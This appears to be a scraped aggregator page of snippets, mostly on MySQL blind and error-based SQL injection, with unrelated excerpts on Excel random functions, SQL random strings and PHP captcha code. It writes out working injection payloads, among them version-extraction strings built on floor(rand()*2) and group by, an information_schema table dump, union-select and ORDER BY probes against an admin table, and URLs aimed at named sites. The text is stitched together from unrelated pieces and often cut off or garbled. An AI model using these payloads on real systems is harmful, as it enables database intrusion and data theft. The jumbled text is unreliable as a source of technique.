rand 2

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Technical explanation of blind Injection

 Technical explanation of blind Injection Judge version number(Select % 20 count (*), concat (select % 20 @ version % 20), 0x3a, floor (rand () * 2 )) % 20x % 20 from % 20 (select % 201% 20 union % 20 select % 202) % 20a % 20 group % 20by % 20x % 20

PHP blind commonly used explosive database and other statements ____php

Judge version number (Select%20count (*), concat (select%20@ @version%20), 0x3a,floor (rand () *2))%20x%20from%20 (select%201%20union% 20select%202)%20a%20group%20by%20x%20limit%201)%23 ">http://www.badguest.cn/goods.php?id=352&wsid=1% 20and%20 (1,1)

PHP blind injection common statements such as database brute-force statements

Judge version number (Select % 20 count (*), concat (select % 20 @ version % 20), 0x3a, floor (rand () * 2 )) % 20x % 20 from % 20 (select % 201% 20 union % 20 select % 202) % 20a % 20 group % 20by % 20x % 20 limit % 201) % 23 ">

EXCEL random function instance

 Excel random function instance ExcelHow to randomly select non-repeated numbers in:ExcelContainsRandom FunctionsRand (), but Rand () only select 0 ~ A random number between 1, and the two numbers are not necessarily repeated. Therefore,

Excel random uppercase and lowercase letter, fixed-length letters

In Excel can produce random numbers, but also produce random letters, even random numbers and letters of the combination, want to produce a length of several. In addition, if it is a random letter, it can also produce a single case of random

Detailed MySQL dual query injection tutorial

To introduce double query injection, sometimes we get the number of columns determined by the order by statement, but when we use the Union Select or union Select all query, F4ck.net/index.php?id=-1 Union Select 1,2,3,4,5,6-- There is an error

Dual-query Injection

In this article, leaver.mearchives2726.html is difficult to explain. I read some principles. Then try to make it clear to everyone .. Before that, we understand that the keyword of the query is select, which is known to all. Subqueries can be simply

Mysql blind injection common statements

  Ps: % 20 in the original text. I replaced it with/**/to facilitate viewing.   Judge version:   Http://www.bkjia.com/tmd. php? Id = 352 & wsid = 1/**/and/**/(1, 1) % 3E (select/**/count (*), concat (select/**/@ version/**/), 0x3a, floor (rand () * 2

Common PHP blind injection statements

Judge version: Http://www.bkjia.com/7747.php? Id = 352 & wsid = 1% 20and % 20 () % 3E (select % 20 count (*), concat (select % 20 @ version % 20), 0x3a, floor (rand () * 2) % 20x % 20 from % 20 (select % 201% 20 union % 20 select % 202) % 20a % 20

SQL generates n-bit random strings and SQL generates n

SQL generates n-bit random strings and SQL generates n -- 1. Use newid () go -- to create a view (because newid () cannot be directly used in the function) create view vnewid as select newid () N 'macoid '; go -- create function getrandstr (@ n int)

Injection for MySQL or later versions

And (select 1 from (select count (*), concat (select distinct concat (0x7e, 0x27, Hex (cast (table_name as char )), 0x27, 0x7e) FROM information_schema.tables Where table_schema = limit) from information_schema.tables limit), floor (rand (0) * 2) x

Dual-query Injection

In the previous article: http://www.bkjia.com/Article/201302/190763.html I said it is difficult to clarify the double query. I will try to explain it this time. I read some principles. Then try to make it clear to everyone .. Before that, we

Mysql error injection Principle Analysis (count (), rand (), group by), mysqlrand

Mysql error injection Principle Analysis (count (), rand (), group by), mysqlrand Mysql error injection Principle Analysis (count (), rand (), group)0x00 questions I have been using the mysql database to report an error injection method, but why

Mysql error injection Principle Analysis (count (), rand (), group)

Mysql error injection Principle Analysis (count (), rand (), group) 0x00 questions I have been using the mysql database to report an error injection method, but why does it report an error? Baidu, Google, knows about it and finds that everyone

Arithmetic 2 program

I. Design ideasBecause forgetting does not pass the address of the array, all the programs are a bit confusing in the main function!A, b array holds the numerator or integer, the XY array holds the denominator of the fraction, and when the

Common injection Statements

#常规注入' --+'--% -' #'% at'and 1=1--+' and 1=2--+'and 1=2 Union SELECT * FROM admin--+' and 1=2Union SELECT * FROM User--+'and 1=2 Union SELECT * from users--+ #爆字段长度'ORDER BY1--+'ORDER by 2--+'ORDER BY3--+'ORDER by 4--+'ORDER BY5--+'ORDER BY

"Beginners Learn to inject" The MySQL error injection detailed

This article turns from: Http://bbs.blackbap.org/forum.php?mod=viewthread&tid=6483&highlight=mysql%2B error injectionUsing SQL injection to obtain database data, the method can be broadly divided into joint query, error, Boolean blind and delay

Php image verification code generation program code

Here there are two verification code generation programs. The first one is better, and the second one is also good. At the same time, the second generation program uses an instance to describe the call and generation of the verification code. Here

Php image verification code generation program code

Session_start ();Class authnum {// Image object, width, height, and verification code lengthPrivate $ im;Private $ im_width;Private $ im_height;Private $ len;// Random string, Y axis coordinate value, and random colorPrivate $ randnum;Private $

SQL Injection Essential Basics _ Database Other

What is SQL injection (SQL injection) A SQL injection attack is an attacker who inserts a SQL command into the input field of a Web form or a query string for a page request, tricking the server into executing a malicious SQL command. In some forms,

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